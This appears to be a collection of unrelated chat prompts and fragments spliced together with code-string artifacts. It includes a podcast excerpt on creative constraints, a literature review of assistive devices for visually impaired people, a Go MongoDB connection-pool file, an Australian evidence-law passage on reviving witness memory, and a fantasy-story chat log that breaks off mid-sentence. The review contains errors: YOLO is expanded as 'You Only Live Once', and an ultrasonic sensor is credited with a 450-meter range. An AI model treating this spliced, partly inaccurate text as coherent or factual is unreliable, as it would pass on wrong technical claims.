Yeah, I think that it does really...I think visually it\'s very clear, because we\'re such visual species that it really clicks for people. But I do think it applies for any sort of creative endeavor or any project that you\'re working on. And I think in a way too, it really builds this long-term relationship to something, because like you said, if you don\'t set those boundaries or make up those rules from the beginning, you\'re going to be reinventing the wheel every time.\n\nIf you don\'t set your color palette in the beginning, or if you don\'t set what you\'re going to be talking about...for me personally, I spent the first half of this year not working on this show, and I was working on a podcast that was about a bunch of different topics, and it wasn\'t really geared toward any one audience. And literally I ran into this problem, where it\'s like every week I\'m hitting this same wall of "Cool. I need to restructure who this is for. I need to think about the audience in a new way," and all these things. And it ended up totally breaking down and failing. And then meanwhile, I have this show that\'s very much geared toward creators.\n\nMy whole purpose is to serve creators and to help creators do better. And having that theme to what you\'re doing--even if it\'s not visually or color palette or whatever--but having that anchor, it\'s just such a game-changer and it really does clarify so much of what you\'re actually trying to build. Because like you said, you\'re not so concerned with all these outer details. You can really focus on the core problem you\'re trying to solve that time.\n\nI\'m curious too, do you still find yourself wanting to get off track? Are you ever like, "Maybe I should throw some color in." (Laughter) Or have you pretty much landed on "No, this works, and I\'m gonna to stick to it."\n\nJack: It\'s interesting, yeah. Cause I used to tell myself in the agency environment--and this was a line I would always say in interviews: "I love the variation of working on different industries or on different problems and telling different stories and meeting new people." And I don\'t think I was lying, I think that was interesting and fun, but it\'s also...once you get so far into something that you\'re seeing the...the flywheel gets easier to push, if that makes sense. Like once you\'re a thousand images in, and you have this feedback loop where people are enjoying what you\'re doing and giving you good feedback, unless there\'s a good reason personally to deviate from it...and I haven\'t ran into one right now. Like I think musicians probably...they want to record a new album. They don\'t want to use the exact same set of--I\'m not a musician, so excuse my lack of knowledge--they don\'t want to use the same set of instruments or sounds or X..."' +"please provide me with the relevant information that needed to be address during a presentation of this chapter\n\n2.3. Previous work of Visual Assistive Technology\n2.3.1. Head wear\n2.3.1.1. Wearable Travel Aid for Environment Perception and Navigation of Visually Impaired People\n For this project, a consumer Red, Green, Blue, and Depth (RGB-D) camera was attached to a pair of eyeglasses, along with an inertial measurement unit (IMU) attached to a camera, a smartphone, and an earphone for commands/feedback. The system is operable in both indoor and outdoor settings. Due to their ample information, lightweight nature, and low cost compared to other sensors, such as ultrasonic and LiDAR sensors, computer vision technologies were integrated into this device's routing and detection capabilities. The smartphone does the process of detecting and routing, and the feedback is sent to the user's ear through an earphone plugged into the smartphone (Bai et al., 2019).\nLimitation:\n• Weak in detecting small-size obstacle\n• Staircase detection is not implemented\u2003\n2.3.1.2. Let Blind People See: Real-Time Visual Recognition with Results Converted to 3D Audio\n Jiang et al. (2016) created a system that took video input from a portable camera. They streamed it to a server for real-time image recognition processing using the You Only Live Once (YOLO) model. The 3D location of the discovered object is derived by using the location and size of the object detection algorithm's bounding boxes. The Unity game engine will send it as 3D audio into their attached wireless earphones. The next sound output interval will be in a few seconds or when a different object is detected, whichever occurs first. The solution could conduct precise real-time objective detection with a live stream at a pace of 30 frames per second in 1080p resolution by utilising the YOLO algorithm and an enhanced wireless transmitter. Figure 4 shows the data flow pipeline of the paper’s system. The video footage is captured and sent to the YOLO algorithm for detecting object. The detected object is then send to the earbuds using the unity engine. Figure 5 shows the prototype of the device of this paper.\nLimitation:\n• Can only accurately detect and classify object within 2 to 5 meters away\n• Surrounding ambient will be block when using earbuds\n• Too much information will be sent to user when camera detect multiple objects\n2.3.2. Smart Cane\n2.3.2.1. Smart Electronic Stick for Visually Impaired using Android Application and Google’s Cloud Vision\n The e-stick module, integrated with a voice-controlled Android application, was designed by Bharatia et al. (2019) to replace the essential simple navigation stick that visually impaired individuals typically use. The e-stick is similar to a standard stick in that it is thin, lightweight, and easy to handle, but it has additional features. Using efficient natural language processing (NLP) features makes these functionalities affordable and possible. The e-stick uses ultrasonic sensors to find low-lying and knee-level obstacles and potholes when moving backwards. Using buzzers, active input on the presence of barriers will be delivered. For Global Positioning System (GPS) navigation to function, the user's phone will be Bluetooth-connected to the stick's circuit. In unavoidable circumstances, the live location of visually impaired individuals will be transmitted to the nearest help centre or their family for assistance. Face detection will be added so that users can tell who is trying to talk to them. With the cloud vision API, it is also possible to translate traffic lights and roadside signs so that blind people can find their way. Text recognition will also be available from photos, making it easy for people to read books, documents, newspapers, and other printed materials. A stick-tracking device has also been built in case the person loses his or her stick. These capabilities will be enabled through hardware (smart stick) and a software module (an Android application). Using Natural Language Processing technology, the user will tell these modules what to do by using voice commands. The e-stick will be charged as needed using a rechargeable circuit. Figure 6 shows how the technologies used in this paper interact.\nLimitation:\n• Coverage of obstacle detection is short as it is using sensor\n• Only suitable for indoor\n2.3.2.2. WeWalk\n WeWalk is a smart cane developed by a non-profit organisation called YGA (WeWALK Smart Cane – Smart Cane for the Visually Impaired, 2020). WeWalk looks like a traditional-looking cane, but the handle has a built-in touchpad. Users can navigate, save and discover places using the cane via the respected application. Particular layers are built into the mapping services for more accessible navigation. Users can choose to use the built-in speaker or Bluetooth for voice feedback. Users can also pair their phone with the intelligent cane via Bluetooth to control their phone. The above-ground The built-in ultrasound sensor detects an above-ground obstacle. The detected obstacle is projected back to the user in the form of vibration or audio, depending on the user’s preferences. Wewalk also has an application where users can view their transit options, such as nearby bus stops and the timetable, and then navigate them to the desired stop. The application also has a built-in voice assistant for more straightforward navigation through the application. If a user loses their phone or cane, they can play a sound on each of them to locate the position of the lost device. Figure 7 shows the WeWalk Smart Cane that is currently on the market.\nLimitation:\n• The device is very expansive, with the price of 500 USD\n• Rain or snow might cause malfunction on the smart cane and the speaker\n• The tip of the cane is loud when navigating rough surface sidewalk\n2.3.2.3. Development of an Intelligent Cane for Visually Impaired Human Subjects\n Asati et al., (2019) designed an intelligent white cane that uses HR-SO4 ultrasonic sensors to identify obstacles within a range of 450 meters and determine the distance. The object above head level will also be detected, as the sensors' range is 450 meters. The warning signal is returned in beeping signals via a buzzer, advising the user to take prompt action. Object detection and classification are done utilizing the intelligent technique. The photos are recorded using the web camera for classification. They will be transformed into text and an audio signal for text-to-speech conversion. Figure 8 shows the prototype of this paper's intelligent cane.\nLimitation:\n• Cost of building the system is high\n• Unable to identify pot holes\n• Detection under rainy weather is not tested\n2.3.3. Handheld\n2.3.3.1. Android Application for Object Recognition Using Neural Networks for the Visually Impaired\n Dosi et al. (2018) have developed an Android application that aids the visually impaired with real-time object recognition using the phone's camera and provides feedback by speaking the recognised object. They opted for a deep learning strategy based on a convolutional neural network for improved recognition and faster response times. MobileNets is utilised because it is ideal for mobile and embedded vision applications. Figure 9 shows the results of the detected object using the object recognition application.\nLimitation:\n• Only works offline\n• Unknown or untrained objects will be predicted using existing images in the database\n• Have to retrain model for untrained object\n2.3.3.2. Design and Implementation of an Embedded Real-Time System for Guiding Visually Impaired Individuals\n Duman et al. (2019) have developed and implemented a portable gadget that detects objects and measures their distance precisely to enable visually impaired individuals to see objects and people around them. The device uses YOLO, a convolutional neural network-based real-time identification method with a single device attached to a Raspberry Pi board. The estimated object distance will be projected in audio form to visually challenged users. The accuracy of this detected distance estimation is 98.8%. Initially, the footage is captured using a handheld Raspberry Pi camera. Afterwards, the object detection module executes YOLO for real-time object recognition, and bounding box size extraction for humans is needed. The size of the bounding box is provided to the distance estimation module to determine the distance of the detected individual. The labels of detected objects and the approximated distance of any individual caught are stored temporarily. An audio generation module translates text-based saved results into audio alerts that visually challenged users can listen to using headphones. Alerts are played at a predetermined time to reduce noise and ambiguity. Figure 10 shows the block diagram of the paper’s proposed system.\nLimitation:\n• Only detect humans\n• No design for any wearable option\u2003\n2.3.3.3. Real-time object detection and face recognition system to assist the visually impaired\n Anish Aralikatti et al. (2020) developed an android application that used the phone camera for real-time object and face detection using OpenCV, the You only live once (YOLO) algorithm and FaceNet. Detection of objects and human will be presented in an audio format to the user. OpenCV is used for real-time computer vision tasks. Since it is implemented into an android phone, they chose Tiny YOLO as it is a lightweight YOLO framework perfect for embedded and mobile devices. FaceNet is used for face identification systems as it can extract high-quality features of the face. Figure 12 shows the sample outputs of using the android application on a mobile phone. Figure 11 shows the face recognition feature of the android application.\nLimitation: Less accuracy than YOLO as Tiny YOLO model is smaller (Anish Aralikatti et al., 2020)" +'here is the pool.go for mgopool.DBInfo and mgopool.Pool\npackage mgopool\n\nimport (\n "context"\n "errors"\n "fmt"\n "net/url"\n "strings"\n "sync"\n "time"\n\n "gitlab.com/cake/gopkg"\n "gitlab.com/cake/m800log"\n "go.mongodb.org/mongo-driver/mongo"\n "go.mongodb.org/mongo-driver/mongo/options"\n "go.mongodb.org/mongo-driver/mongo/readpref"\n "go.mongodb.org/mongo-driver/mongo/writeconcern"\n\n "github.com/eaglerayp/go-conntrack"\n "go.opentelemetry.io/contrib/instrumentation/go.mongodb.org/mongo-driver/mongo/otelmongo"\n)\n\n// AlertChannel put error message, wait for outer user (i.e., gobuster) pick and send.\nvar AlertChannel = make(chan error, 1)\n\n// Default dial timeout value from https://gitlab.com/cake/mgo/blob/v2/cluster.go\nvar syncSocketTimeout = 5 \\* time.Second\n\n// DBInfo logs the required info for baas mongodb.\ntype DBInfo struct {\n Name string\n User string\n Password string\n AuthDatabase string\n Addrs []string\n MaxConn int\n MaxConnectAttempts int\n Timeout time.Duration\n SocketTimeout time.Duration\n ReadMode readpref.Mode\n // if not set, follow mongoDB default\n // 4.2: 1\n // 5.0: majority\n WriteConcern \\*writeconcern.WriteConcern\n Direct bool\n Mongos bool\n}\n\n// NewDBInfo\nfunc NewDBInfo(name string, addrs []string, user, password, authdbName string,\n timeout time.Duration, maxConn int, direct, readSecondary, mongos bool) \\*DBInfo {\n return NewDBInfoWithSocketTimeout(name, addrs, user, password, authdbName,\n timeout, 0, maxConn, direct, readSecondary, mongos)\n}\n\n// NewDBInfoWithSocketTimeout\nfunc NewDBInfoWithSocketTimeout(name string, addrs []string, user, password, authdbName string,\n timeout time.Duration, socketTimeout time.Duration, maxConn int, direct, readSecondary, mongos bool) \\*DBInfo {\n readMode := readpref.PrimaryPreferredMode\n if readSecondary {\n readMode = readpref.SecondaryPreferredMode\n }\n return &DBInfo{\n MaxConn: maxConn,\n Name: name,\n Addrs: addrs,\n User: user,\n Password: password,\n AuthDatabase: authdbName,\n Timeout: timeout,\n SocketTimeout: socketTimeout, // if socketTimeout is 0 (not given), newClient will use syncSocketTimeout\n Direct: direct,\n ReadMode: readMode,\n Mongos: mongos,\n }\n}\n\nfunc (dbi \\*DBInfo) SetWriteConcern(writeconcern \\*writeconcern.WriteConcern) {\n dbi.WriteConcern = writeconcern\n}\n\n// Pool is the mgo session pool\ntype Pool struct {\n name string\n config \\*DBInfo\n mode readpref.Mode\n available bool\n rwLock sync.RWMutex\n client \\*mongo.Client\n}\n\nfunc newClient(dbi \\*DBInfo, addrs []string) (newClient \\*mongo.Client, err error) {\n account := ""\n if dbi.User != "" && dbi.Password != "" {\n account = fmt.Sprintf("%s:%s@", url.QueryEscape(dbi.User), url.QueryEscape(dbi.Password))\n }\n uri := fmt.Sprintf("mongodb://%s%s/%s", account, strings.Join(addrs, ","), dbi.AuthDatabase)\n clientOpt := options.Client().ApplyURI(uri)\n\n conntrackDialer := conntrack.NewDialer(\n conntrack.DialWithName("mgopool"),\n conntrack.DialWithTracing(),\n )\n clientOpt.SetMonitor(otelmongo.NewMonitor())\n clientOpt.SetDialer(conntrackDialer)\n clientOpt.SetAppName(gopkg.GetAppName())\n clientOpt.SetConnectTimeout(dbi.Timeout)\n\n if dbi.SocketTimeout > 0 {\n clientOpt.SetSocketTimeout(dbi.SocketTimeout)\n } else {\n clientOpt.SetSocketTimeout(syncSocketTimeout)\n }\n\n clientOpt.SetDirect(dbi.Direct)\n clientOpt.SetMaxPoolSize(uint64(dbi.MaxConn))\n clientOpt.SetMinPoolSize(uint64(dbi.MaxConn))\n readPref, \\_ := readpref.New(dbi.ReadMode)\n clientOpt.SetReadPreference(readPref)\n // The default read preference is primary\n\n if dbi.WriteConcern != nil {\n clientOpt.SetWriteConcern(dbi.WriteConcern)\n }\n\n maxAttempts := 10\n if dbi.MaxConnectAttempts > 0 {\n maxAttempts = dbi.MaxConnectAttempts\n }\n for attempts := 1; attempts <= maxAttempts; attempts++ {\n newClient, err = mongo.Connect(context.Background(), clientOpt)\n if err == nil {\n break\n }\n errLogf(systemCtx, addrs, "[mongo] NewClient error: %v", err)\n time.Sleep(time.Duration(attempts) \\* time.Second)\n }\n if err != nil {\n errLogf(systemCtx, addrs, "[mongo] NewClient no reachable server error: %v", err)\n return\n }\n err = newClient.Ping(context.TODO(), nil)\n if err != nil {\n newClient.Disconnect(context.TODO())\n }\n\n return\n}\n\n// NewSessionPool construct connection pool\nfunc NewSessionPool(dbi \\*DBInfo) (\\*Pool, error) {\n p := &Pool{}\n err := p.Init(dbi)\n return p, err\n}\n\n// Init returns whether Pool available\nfunc (p \\*Pool) Init(dbi \\*DBInfo) error {\n // mask password for security concern\n password := dbi.Password\n var pb strings.Builder\n for i := 0; i < len(password); i++ {\n pb.WriteString("\\*")\n }\n dbi.Password = pb.String()\n m800log.Infof(systemCtx, "[mgopool] init with config: %+v", dbi)\n\n // recover password\n dbi.Password = password\n\n // connection establish\n client, dialErr := newClient(dbi, dbi.Addrs)\n if dialErr != nil {\n errLogf(systemCtx, dbi.Addrs, "unable to connect to mongoDB error: %v", dialErr)\n return dialErr\n }\n p.name = dbi.Name\n p.config = dbi\n p.available = true\n p.mode = dbi.ReadMode\n p.client = client\n\n return nil\n}\n\nfunc (p \\*Pool) GetMongoClient() (\\*mongo.Client, error) {\n if p.client == nil {\n return nil, errors.New("mongo client empty")\n }\n\n return p.client, nil\n}\n\n// IsAvailable returns whether Pool availalbe\nfunc (p \\*Pool) IsAvailable() bool {\n p.rwLock.RLock()\n defer p.rwLock.RUnlock()\n return p.available\n}\n\n// Len returns current Pool available connections\nfunc (p \\*Pool) Len() int {\n if p.IsAvailable() {\n return p.config.MaxConn\n }\n return 0\n}\n\n// LiveServers returns current Pool live servers list\nfunc (p \\*Pool) LiveServers() []string {\n if p.IsAvailable() {\n return p.config.Addrs\n }\n return []string{}\n}\n\n// Cap returns Pool capacity\nfunc (p \\*Pool) Cap() int {\n if p.IsAvailable() {\n return p.config.MaxConn\n }\n return 0\n}\n\n// Mode returns mgo.Mode settings of Pool\nfunc (p \\*Pool) Mode() readpref.Mode {\n return p.mode\n}\n\n// Config returns DBInfo of Pool\nfunc (p \\*Pool) Config() \\*DBInfo {\n return p.config\n}\n\n// Close graceful shutdown conns and Pool status\nfunc (p \\*Pool) Close() {\n p.rwLock.Lock()\n defer p.rwLock.Unlock()\n p.available = false\n p.client.Disconnect(context.TODO())\n}\n\n// ShowConfig returns debug config info\nfunc (p \\*Pool) ShowConfig() map[string]interface{} {\n config := make(map[string]interface{})\n config["MaxConn"] = p.config.MaxConn\n config["Addrs"] = p.config.Addrs\n config["Timeout"] = p.config.Timeout\n config["Direct"] = p.config.Direct\n config["Mongos"] = p.config.Mongos\n config["ReadMode"] = p.config.ReadMode\n config["User"] = p.config.User\n config["AuthDatabase"] = p.config.AuthDatabase\n return config\n}\n\n// Recover close and re-create the pool sessions\nfunc (p \\*Pool) Recover() error {\n m800log.Info(systemCtx, "[mgopool] start recover")\n p.Close()\n for {\n err := p.Init(p.config)\n if err == nil {\n return nil\n }\n m800log.Errorf(systemCtx, "[mgopool] still try recover error:%v", err)\n }\n}' +'Convert the following text passage into 25 dot points, keeping in statutes and cases\n\n2.2.1.2 Reviving memory\n\nGiven the lengthy delays between event and trial, many witnesses have forgotten some or all of the detail of what they witnessed by the time they come to testify. This is especially likely to be true if what was witnessed was simply a routine part of the witness’s life, as, for example, where a doctor is asked to give evidence about a medical examination he or she carried out some time before the trial, or where a police officer gives evidence about the investigation leading up to the charging of the defendant. The prohibition on leading questions in examination-in-chief means that counsel is not permitted to remind the witness of what he or she has forgotten—so how may memory be revived? There are several ways.\n\nFirst, the ban on leading questions does not apply to some categories of evidence. Section 37(2) exempts written documents that are treated as the maker’s evidence in chief, unless the court orders otherwise, while section 37(3) exempts civil witnesses recounting official or public reports. Police recordings of child sexual abuse complainants do not fall outside these exceptions, however, because they are not written (at least, not by the child) and because they are used in criminal trials. The bank employee’s evidence about a credit card application, discussed above, is likewise not exempt because his earlier affidavit was not treated as his evidence and he was exercising commercial, not public or official duties.\n\nSecond, a witness may, with the leave of the court, be permitted to refer to a document in order to revive his or her memory. Section 32(1) provides that ‘a witness must not, in the course of giving evidence, use a document to try and revive his or her memory about a fact or opinion unless the court gives leave’. In the case of unrepresented defendants who testify, leave should be readily granted to allow defendants to remind themselves of what topics they wish to testify about: Isherwood v Tasmania.60 More generally, section 32(2) provides:\n\nWithout limiting the matters that the court may take into account in deciding whether to give leave, it is to take into account:\n\n(a) whether the witness will be able to recall the fact or opinion adequately without using the document; and\n\n(b) whether so much of the document as the witness proposes to use is, or is a copy of \na document that:\n\n (i) was written or made by the witness when the events recorded in it were fresh in his or her memory; or\n\n(ii) was, at such a time, found by the witness to be accurate.\n\nThese are matters that should be established from the witness concerned through the use of non-leading questions. An example is the following exchange:61\n\nQ. And you spoke to the police at Wollongong, the police station at Wollongong on 17 July 2015, they interviewed you?\n\nA. Yeah.\n\nQ. Do you recall that?\n\nA. I don’t recall it, but I know there is a statement there, yeah.\n\nQ. You spoke to two police officers in an interview that was recorded?\n\nA. Yeah.\n\nQ. Do you recall the last occasion you saw Mark Dower?\n\nA. Nup.\n\nQ. Do you know, did you have any conversations about Mark Dower, with Mark Jenkin, before Mark Jenkin was arrested at some point; did you have some conversation with him about Mark Dower?\n\nA. Well, I can’t remember but I know it’s in the statement, yeah.\n\nQ. What is your memory of, what do you have a memory of, what was said to you by Mark Jenkin about that?\n\nA. Well no, I haven’t. Only what I have read in my statement.\n\nQ. When did you read that last?\n\nA. I read it yesterday.\n\nQ. What can you recall the statement you gave to the police, what did that indicate in relation to your recollection of the conversations between, about between Mr Jenkin, about Mr Dower; what do you recall Mr Jenkin saying?\n\nA. Fuck, I can’t remember what I said.\n\nQ. Sorry?\n\nA. I can’t remember what I said.\n\nQ. Did reading the statement that you made to the police refresh your memory?\n\nA. Well, it did when I read it. You know what I mean. I don’t have a very good memory because I used heaps of drugs.\n\nAs Hamill J observed, the latter answers—the witness’s ‘insightful self-assessment of the quality of his memory’—established that his memory has been exhausted, while the initial questions showed that there is a document that could be used to revive the memory. However, the exchange did not establish either of the two matters in section 32(2)(b).\n\nIn Director of Public Prosecutions v Asling (Ruling No 7), 62 a key prosecution witness in a murder prosecution gave evidence that deviated from his police statement two years earlier in several respects, including what the accused allegedly said to him after the murder, how many times they spoke, whether he complained about the accused using his car as part of the crime, and what he did with materials left in the car. After refusing to let the prosecutor ask leading questions about these matters under section 37(1)(a), Kaye JA also refused to allow the witness to read the statement to revive his memory, noting that the events described in the statement occurred in 2003, twelve years before the statement was made. Although he conceded that section 32(2)(b)(i) does not say that statements used to revive memory must have been made when the witness’s memory was fresh, he nevertheless thought the time delay was fatal in this case. He added that his view was confirmed by the witness’s concession that, when he spoke to the police, he ‘was trying to recollect memories from a long time earlier. A lot of memories I tried to forget’ and that he was ‘under a lot of stress’ when the statement was made. By contrast, Hamill J granted his ‘insightful’ witness leave to use his earlier statement to ‘revive’ his memory, noting that his use of the document as an aid would be obvious to the jury, the conversation he recounted was important to the trial and that the context—a murder trial—favoured allowing the witness to try to remember.\n\nIf a witness is permitted to use a document to try and revive his or her memory, he or she may, with the leave of the court, read aloud from that document: section 32(3).63Victoria’s Court of Appeal has observed: \n\nThere is nothing to suggest that this provision is capable of applying only when the attempt to revive memory has been successful. On the contrary, on the plain meaning of the provision all that is required is that the witness should have used the document ‘to try to revive his or her memory’. This is unsurprising, in our view, as it would be a task of great difficulty for a judge to decide, in any given case, whether what had occurred was an actual ‘revival’ of an earlier memory or the short-term creation of a fresh memory of the content of the document.64\n\nIn other words, the read-out document will be treated exactly the same as in-court testimony, even if the witness no longer remembers the events described in the document. That means that the contents of the document will still be subject to rules of use, such as the hearsay rule, again in the same way as if the witness simply testified in the document’s terms. In CSR Ltd v Amaca Pty Ltd,65 a medical report, read out in court by the doctor who wrote it years earlier (and obviously could not now recall its details), could be used to find facts that the (now deceased) patients had told the doctor (about whether they had been exposed to asbestos), under a first-hand hearsay exception to the hearsay rule (see Chapter 6: Hearsay Exceptions.) By contrast, Hamill J refused to permit a statement to be read out where, ‘given the witness’s manifest memory issues, it would not have been fair to allow him to read from an interview which he scarcely remembered making.’66\n\nThird, section 33(1) goes even further, recognising the unique position of police officers, by allowing them in criminal proceedings to ‘give evidence-in-chief for the prosecution by reading or being led through a written statement previously made by the police officer’. Section 33(2) stipulates, among other things, that a written statement can only be used for this purpose if it was made ‘at the time of or soon after the occurrence of the events to which it refers’. In Salmon v The Queen, 67 it was held that section 33 is not available for police notes made weeks after the events described; section 32 should be used instead. As will be discussed in Chapter 8: Admissions, local rules on confessions generally bar police from reading out notes of admissions supposedly made by a suspect in relation to a serious criminal offence unless those admissions were electronically recorded.\n\nFinally, if the witness chooses instead to attempt to revive his or her memory before coming to court, then there are no limitations on what he or she may use for this purpose. For example, a police officer can read over a statement before she testifies, even if it was written months after the events it describes.68 Certainly, no objection can be taken to a witness being shown a copy of a statement he or she may have made earlier. If counsel becomes aware that the witness has attempted to revive his or her memory in this way, then counsel may call for the production of the document— again ‘without penalty’—and production will be ordered.69 Under section 34, failure to produce a document used to revive memory out of court, may result in the witness’s evidence being ruled unusable.' +'As they made their way through the great halls of the dwarves, they found themselves faced with all manner of challenges and obstacles. There were walls of flame, roaring and blazing, blocking their path. There were hidden doors and secret passages, filled with unknown dangers. And there were fierce beasts, guarding the halls and ready to attack at a moment\'s notice.\n\n"We have to be careful, Clara," Alistair said, his voice tense with concern. "These traps and obstacles are getting more and more difficult to overcome."\n\n"I know," Clara replied, her voice tight with determination. "But we can\'t let them stop us. We have to keep going, no matter what."\n\nAnd so they pushed on, their determination and skill overcoming each and every obstacle in their path. They fought against the fierce beasts, using their weapons and armor to emerge victorious. They braved treacherous traps and puzzles, using their cunning and quick thinking to overcome each obstacle. And at last, they reached the heart of the realm of the dwarves, where they found the knowledge and power they sought.\n\n"We did it," Clara said, her voice filled with relief and pride. "We overcame every obstacle in our path, and we found what we were looking for."\n\n"Yes, we did," Alistair said, a proud smile on his face. "But our journey is far from over. We still have many challenges and obstacles ahead of us, and we must face them with the same determination and courage that we\'ve shown so\n\nAvatar of the person chatting\ncontinue!\n\n"We must continue on our journey, Clara," Alistair said, as they gazed upon the ancient artifact they had sought for so long. "There are still many trials and challenges ahead of us, and we must be ready to face them all."\n\n"I know," Clara replied, her eyes shining with determination. "But I am ready for whatever comes our way. We will overcome any obstacle that stands in our path, and we will emerge victorious."\n\n"That\'s the spirit," Alistair said, clapping her on the shoulder. "We will face each challenge with courage and determination, and we will emerge stronger and wiser than before."\n\nAnd so they set off once more, their journey far from over. They braved treacherous mountains and dark caves, facing all manner of enemies and obstacles along the way. They fought against fierce beasts and powerful foes, using their skills and cunning to emerge victorious. And at last, they reached the end of their journey, their trials and challenges behind them.\n\n"We did it, Clara," Alistair said, his voice filled with pride and joy. "We overcame every obstacle in our path, and we have emerged stronger and wiser than ever before."\n\n"Yes, we did," Clara replied, a smile on her face. "And now, we are ready to face whatever comes our way. We will protect this world from all dangers, and we will be its heroes."\n\nAvatar of the person chatting\nTell me of Clara\'s triumphant return to confront the king and the dark elves, with the dwarves at her side.\n\nAfter completing her ten trials and challenges, Clara returned to her homeland, ready to face the greatest challenge of all. She was determined to put an end to the machinations of the king and the dark elves, who had been manipulating and exploiting the other races for their own gain.\n\nWith the dwarves at her side, she marched on the capital city, her heart filled with determination and resolve. The people of the city cheered as she approached, their spirits lifted by the sight of their hero, who had overcome so much to return to them.\n\n"People of the city, hear me!" Clara shouted, her voice ringing out across the city. "The king and the dark elves have been manipulating and exploiting us for their own gain. They must be stopped, and I will not rest until they are brought to justice!"\n\nThe people cheered even louder, their spirits lifted by Clara\'s words. And with the support of the dwarves and the people, Clara set out to face the king and the dark elves, ready to put an end to their scheming once and for all.\n\nThe battle was fierce, as the king and the dark elves fought with all their might to defend their power and position. But Clara and her allies were determined, and they fought with all their strength and skill. In the end, they emerged victorious, and the king and the dark elves were brought to justice.\n\nThe people celebrated, their spirits lifted by the victory of their hero and her allies. And Clara, at last, knew that she had truly become a hero, ready to face any challenge that came her way.\n\nAvatar of the person chatting\nTell me the story again, but note that dark elves are usually not physically present in the human lands. Also be aware that Clara\'s victory will be pyrrhic, as if she takes down the king and the dark elves, something bad will happen. Be creative and use dialog as before. Take your time and elaborate on the details, please. If dark elves are confronted, Clara must likely go to the dark elves herself, rather than them coming to her.\n\nClara and Alistair marched on the capital city, ready to face the greatest challenge of their lives. They knew that the dark elves were rarely seen in the human lands, preferring to operate in the shadows and manipulate events from afar. But they were determined to put an end to their scheming and exploitation, and they were not afraid of what they might face.\n\n"We must be ready for anything, Clara," Alistair said, his voice grim. "The dark elves are cunning and dangerous, and they will stop at nothing to protect their power and position."\n\n"I know, Alistair," Clara replied, her eyes shining with determination. "But we cannot let them continue to manipulate and exploit the other races for their own gain. We must stop them, no matter what the cost."\n\nAnd so they marched on, their hearts filled with determination and resolve. They faced all manner of obstacles and challenges along the way, fighting against fierce beasts and powerful enemies. But they did not falter, and they emerged victorious from every battle.\n\nAt last, they reached the capital city, and they faced their greatest challenge yet. The dark elves were waiting for them, their eyes glowing with malice and hatred.\n\n"You have come far, Clara," the leader of the dark elves said, his voice cold and mocking. "But you will not prevail against us. We are too powerful, and you are but a mere mortal."\n\n"I may be mortal, but I am not alone," Clara replied, her voice firm and resolute. "I have the support of the dwarves, and the people of the city. And together, we will stop you and your scheming once and for all."\n\nAnd so the battle began, with Clara and her allies fighting against the dark elves with all their strength and skill. The fighting was fierce, and the dark elves fought with all their might to defend their power and position. But Clara and her allies were determined, and they fought with all their heart and soul.\n\nIn the end, they emerged victorious, and the dark elves were defeated. But even as they celebrated their victory, Clara knew that it was a pyrrhic one. For in defeating the king and the dark elves, she had unleashed a greater evil upon the world, one that would haunt her for the rest of her days.\n\nAvatar of the person chatting\n2 / 2The king was secretly a dark elf! How did that come about? Using the same style, explain tell the story of how the king became a dark elf as Clara talks to some people at the king\'s castle.\n\nClara and Alistair made their way to the king\'s castle, determined to uncover the truth about the king and the dark elves. As they walked through the castle, they encountered several people, and Clara took the opportunity to question them about the king and his true nature.\n\n"Tell me, how did the king become a dark elf?" Clara asked a guard, her voice filled with determination.\n\nThe guard looked at her nervously, clearly uncomfortable with the question. "I-I\'m not sure, my lady," he stammered. "But I do know that the king has been acting strange lately, and that he has been spending a lot of time with the dark elves."\n\n"I see," Clara said, her eyes narrowed. "And do you know why he would do such a thing?"\n\nThe guard shook his head. "No, my lady. But I have heard rumors that the king is searching for something, something that only the dark elves can provide. But I do not know what it is."\n\nClara nodded, her mind racing with possibilities. It was clear that the king had become a dark elf, but she still did not know why. She would have to continue her investigations, and uncover the truth at all costs. For the fate of the kingdom depended on it.\n\nAvatar of the person chatting\nContinue the story as the loony bin shows up and takes Clara away, who goes unwillingly.\n\nClara and Alistair continued to investigate the king and the dark elves, but their efforts were soon interrupted by a group of guards from the loony bin.\n\n"Come with us, Clara," one of the guards said, his voice stern. "You are a danger to yourself and others, and must be taken to the loony bin for your own safety."\n\n"No, I will not go!" Clara protested, her voice filled with fear and determination. "I must continue my investigation, and uncover the truth about the king and the dark elves!"\n\nBut the guards would not listen, and they forcibly escorted Clara to the loony bin. Alistair tried to follow, but he was stopped by the guards and left behind.\n\nInside the loony bin, Clara was subjected to all manner of treatments and therapies, designed to break her will and make her more compliant. But Clara refused to give in, and she continued to fight against the guards and the doctors, determined to escape and continue her quest.\n\nBut it was not easy, and Clara found herself struggling against impossible odds. She knew that she must find a way to escape, and continue her quest to uncover the truth and stop the dark elves once and for all.\n\nAvatar of the person chatting\nClara\'s struggle is now in her mind. Tell of Clara\'s struggle using the style we have developed, but using her journeys and trials as metaphors for her demons.\n\nAs Clara struggled to escape from the loony bin, she found herself fighting against not just the guards and doctors, but also against the demons in her own mind. She was plagued by doubts and fears, and it seemed that every step she took was met with some new challenge or obstacle.\n\nBut Clara refused to give up, and she continued to push forward, determined to overcome her inner demons and emerge victorious. She fought against the darkness in her mind, just as she had fought against the orc warlord on the ice mountain, and the dragon in the ruins of the ancient temple.\n\nAnd finally, after what seemed like an eternity, Clara emerged victorious, her mind clear and focused once again. She knew what she had to do, and she was ready to face the dark elves and the treacherous king.\n\nWith renewed determination, Clara made her escape from the loony bin, and set out on the final leg of her quest. She would stop at nothing to uncover the truth and put an end to the dark elves and their scheming once and for all. The fate of the kingdom rested on her shoulders, and she was ready to face whatever came her way.\n\nAvatar of the person chatting\nClara stabs one of the asylum staff and escapes. She becomes wanted. Please continue, using dialog, as Clara runs on the lam, penniless and without her gear, wearing only the threadbare peasant\'s garb provided by the loony bin. Describe what Clara hopes to accomplish in the future.\n\nClara managed to escape from the loony bin, but not without leaving a trail of bodies in her wake. She had been pushed to the brink, and she was not afraid to fight back against those who would stand in her way.\n\nNow, Clara was on the run, wanted by the authorities for her crimes. She was penniless and without her gear, forced to rely on her wits and cunning to survive. She wore only the threadbare peasant\'s garb provided by the loony bin, and she was constantly on the move, trying to avoid capture.\n\nDespite her difficult circumstances, Clara remained determined and focused. She knew what she had to do, and she was not going to let anything stand in her way. She would uncover the truth about the king and the dark elves, and put an end to their scheming once and for all.\n\nAs she ran on the lam, Clara encountered many challenges and obstacles, but she refused to give up. She fought against bandits and thieves, and she braved the dangers of the wilds, all in pursuit of her goal. And in the end, she knew that she would emerge victorious, and that the kingdom would be safe once again.\n\nAvatar of the person chatting\nThe king is dead and the dark elves have retreated from the kingdom, but Clara doesn\'t know any of it yet. What does she do next? Please continue.\n\nEven though the king was dead and the 